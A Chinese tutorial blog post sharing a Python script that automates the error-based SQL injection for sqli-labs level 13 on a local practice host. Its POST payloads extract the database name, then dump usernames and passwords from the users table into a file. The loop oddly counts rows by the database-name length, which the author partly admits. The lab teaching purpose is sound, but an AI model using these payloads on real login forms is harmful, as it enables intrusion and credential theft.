sqli-labs靶场自动化利用工具——第13关
文章目录
- 概要
- 整体架构流程
- 技术细节
- 执行效果
- 小结
概要
Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。
本章适合人群:
- 网安专业学生
- 报班学习网安内容的同学
- 提高写POC能力的网安从业者
整体架构流程
因为是sqli-labs的第13关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。
整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。
第13关使用的单引号括号注入。
请求方式是POST请求。
这个脚本唯一的缺陷就是出在后面的find_dbdata函数上面,该处使用不同的正则表达式就会筛选出不同的结果,最终的结果没能拿到我本地部署的sqli-labs靶场的全部数据库名和密码。类似admin1这种用户名和密码筛选出来就可以拿到全部的数据,这个算是这个小脚本的缺陷。有兴趣的小伙伴可以进一步研究。
技术细节
import requests
import re
import os
print("当前工作目录:", os.getcwd())
# 全局变量
url = 'http://sql:8081/Less-13/'
def find_dblength():
headers = {
'Host': 'sql:8081',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
'image/svg+xml,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '270', # 根据data参数的长度进行修改
'Origin': 'http://sql:8081',
'Connection': 'close',
'Referer': 'http://sql:8081/Less-13/',
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=0, i'
}
data = {
'uname': "username') union select 1,2 from (select count(*),concat((select concat(database()) limit 0,1),"
"floor(rand(0)*2)) "
"as x from information_schema.tables group by x) as alias-- -",
'passwd': "') or 1=1-- -"
}
response = requests.post(url, headers=headers, data=data, verify=False)
html_content = response.text
match = re.search(r"Duplicate entry '([a-zA-Z]+)\d*' for key", html_content)
if match:
result = match.group(1)
result_length = len(result)
print(f"Result: {result}, Length: {result_length}")
return result, result_length
else:
print("No match found.")
return None, 0
def find_dbdata(result_length):
file_path = os.path.join(os.getcwd(), 'result.txt')
for i in range(result_length):
headers = {
'Host': 'sql:8081',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
'image/svg+xml,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '325', # 根据data参数的长度进行修改
'Origin': 'http://sql:8081',
'Connection': 'close',
'Referer': 'http://sql:8081/Less-13/',
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=0, i'
}
data = {
'uname': f"username') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,"
f"0x3a, 0x3a) from security.users limit {i},1),floor(rand(0)*2)) as x from information_schema.tables "
"group by x) as alias-- -",
'passwd': "') or 1=1-- -"
}
response = requests.post(url, headers=headers, data=data, verify=False)
html_content = response.text
match = re.search(r"'(.+?)::(.+?)::(\d+)'", html_content)
if match:
with open(file_path, "a") as file:
file.write(f"{match.group(1)}, {match.group(2)}\n")
else:
print(f"No match found for entry {i}.")
result, result_length = find_dblength()
if result_length > 0:
find_dbdata(result_length)
执行效果
小结
由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。
且想输出不一样的文件内容格式,也可以进行微调整。
最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。